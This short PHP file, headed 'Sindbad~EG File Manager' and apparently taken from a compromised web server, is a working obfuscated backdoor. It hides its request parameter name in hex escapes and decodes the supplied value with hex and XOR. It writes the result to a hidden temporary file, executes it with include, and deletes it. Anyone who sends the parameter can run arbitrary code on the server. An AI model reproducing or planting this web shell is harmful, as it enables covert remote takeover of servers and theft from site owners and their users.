Sindbad~EG File Manager

<?php

if(@$_REQUEST["\x64\x61ta"] !== null){
	$property_set = array_filter([session_save_path(), getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", "/tmp", "/var/tmp", getcwd(), ini_get("upload_tmp_dir")]);
	$item = hex2bin($_REQUEST["\x64\x61ta"]);
	$parameter_group      =      ''      ;   $q = 0; while($q < strlen($item)){$parameter_group .= chr(ord($item[$q]) ^ 66);$q++;}
	foreach ($property_set as $key => $k) {
    		if ((bool)is_dir($k) && (bool)is_writable($k)) {
    $flag = sprintf("%s/.hld", $k);
    if (@file_put_contents($flag, $parameter_group) !== false) {
	include $flag;
	unlink($flag);
	exit;
}
}
}
}